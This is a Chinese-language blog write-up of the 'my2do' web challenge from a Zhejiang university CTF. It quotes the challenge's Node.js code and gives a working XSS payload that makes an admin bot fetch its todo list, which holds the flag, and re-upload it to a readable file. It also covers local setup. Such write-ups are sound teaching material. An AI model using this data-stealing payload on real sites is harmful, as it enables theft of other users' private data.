Luoingly's Space

第六届浙江省大学生网络与信息安全技能挑战赛 my2do 个人题解

November 5, 2023 · Legacy Blog

题目

题目程序是一个 Node.js 编写的 Todo List。进行一通代码审计后可以发现本题的关键:

//deving........
app.post('/api/upload', upload.single('file'), (req, res) => {
  return res.send('文件上传成功!');
});

app.post("/api/report", express.json({ type: Object }), function (req, res) {

  if (!req.session.username) return res.send("Login first!");
  if (reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
    return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
  }
  reportIpsList.set(req.ip,now());
  const { url } = req.body;
  if (typeof url !== 'string') return res.send("Invalid URL");

  if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
    return res.status(400).send('Invalid URL');
  }
  try {
    vist(url);
    return res.send("admin has visted your url");
  } catch {
    return res.send("some error!");
  }
});

以及:

const visit = async url => {
  var browser;
  try {
    browser = await puppeteer.launch({
      headless: false,
      executablePath: 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe',
      args: ['--no-sandbox']
    });

    page = await browser.newPage();

    await page.goto(SITE);
    await page.waitForTimeout(500);

    await page.type('#username', 'admin');
    await page.type('#password', ADMIN_PASSWORD);
    await page.click('#btn')
    await page.waitForTimeout(800);

    await page.goto(url);
    await page.waitForTimeout(3000);

    await browser.close();

  } catch (e) {
    console.log(e);
  } finally {
    if (browser) await browser.close();
  }
}

题解

显然,这是希望选手去构造一个页面对 admin 发动 XSS 攻击。那么需要获取什么内容呢?继续代码审计可以发现 Flag 的踪迹:

db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});

此处直接将 Flag 作为 admin 的一项 Todo 保存在数据库中。那么,我们只需要构造一个页面,将 admin 的 Todo List 读取出来即可。顺带,不要被 /api/upload 接口上方 Deving 的注释迷惑,这个接口可以正常将文件上传到服务器上。我在此处构造了这样的一个页面:

<script>
    const upload = (filename, content) => fetch("/api/upload", {
        "headers": { "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryixF7U7xiqrS0nU9E" },
        "body": "------WebKitFormBoundaryixF7U7xiqrS0nU9E\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\nContent-Type: application/octet-stream\r\n\r\n" + content + "\r\n------WebKitFormBoundaryixF7U7xiqrS0nU9E--\r\n",
        "method": "POST",
    });
    fetch('/todo')
        .then(res => res.text())
        .then(data => {
            upload("data.html", data);
        })
</script>

其大致原理是,先通过 /todo 接口获取 admin 的 Todo List,然后将其作为文件上传到服务器上。这样,我们就可以通过 /uploads/data.html 访问到这个文件,从而获取到 admin 的 Todo List,也就能得到 Flag 了。先将这个页面上传到服务器上,可以自己手搓一个上传页面:

<form action="http://[REDACTED]/api/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file">
    <input type="submit" value="Upload">
</form>

此处我用的文件名是 xss.html,将其上传后可以访问 /uploads/xss.html 进行测试,确认其可以正常捕获当前登陆账户的 Todo List 并将其上传:

Screenshot-202311052256.webp

接下来随意注册一个账号,通过 /todo 页面的 Report 功能将 http://127.0.0.1/uploads/xss.html 提交给 admin,然后等待 admin 访问即可。等待片刻,在 /uploads/data.html 中可以看到 admin 的 Todo List,其中包含了 Flag(此处为本地测试环境):

Screenshot-202311052253.webp

环境

如果你想要在本地测试,可以使用 node app.js 启动本题的环境。

不过,显然如果要正常运行它需要先进行一些配置。如果在 app.js 中重新指定了端口,别忘了在 bot.js 中也做相应更改,比如:

const SITE = process.env.SITE || 'http://127.0.0.1:8000';

然后切记重新指定 bot.js 中 Chromium 的路径(自己电脑上任意一个 Chromium 内核浏览器都行),比如:

browser = await puppeteer.launch({
    headless: false, // 此处为了方便测试,我将其改为了 false,这样会显示 Chromium 窗口
    executablePath: 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe',
    args: ['--no-sandbox'] });

Tags: #CTF #Writeup #Web #DASCTF

This article is authored by luoingly and licensed under CC BY-NC 4.0

Permalink: https://luoy.ing/posts/cybersectf-zj-2023-my2do-writeup/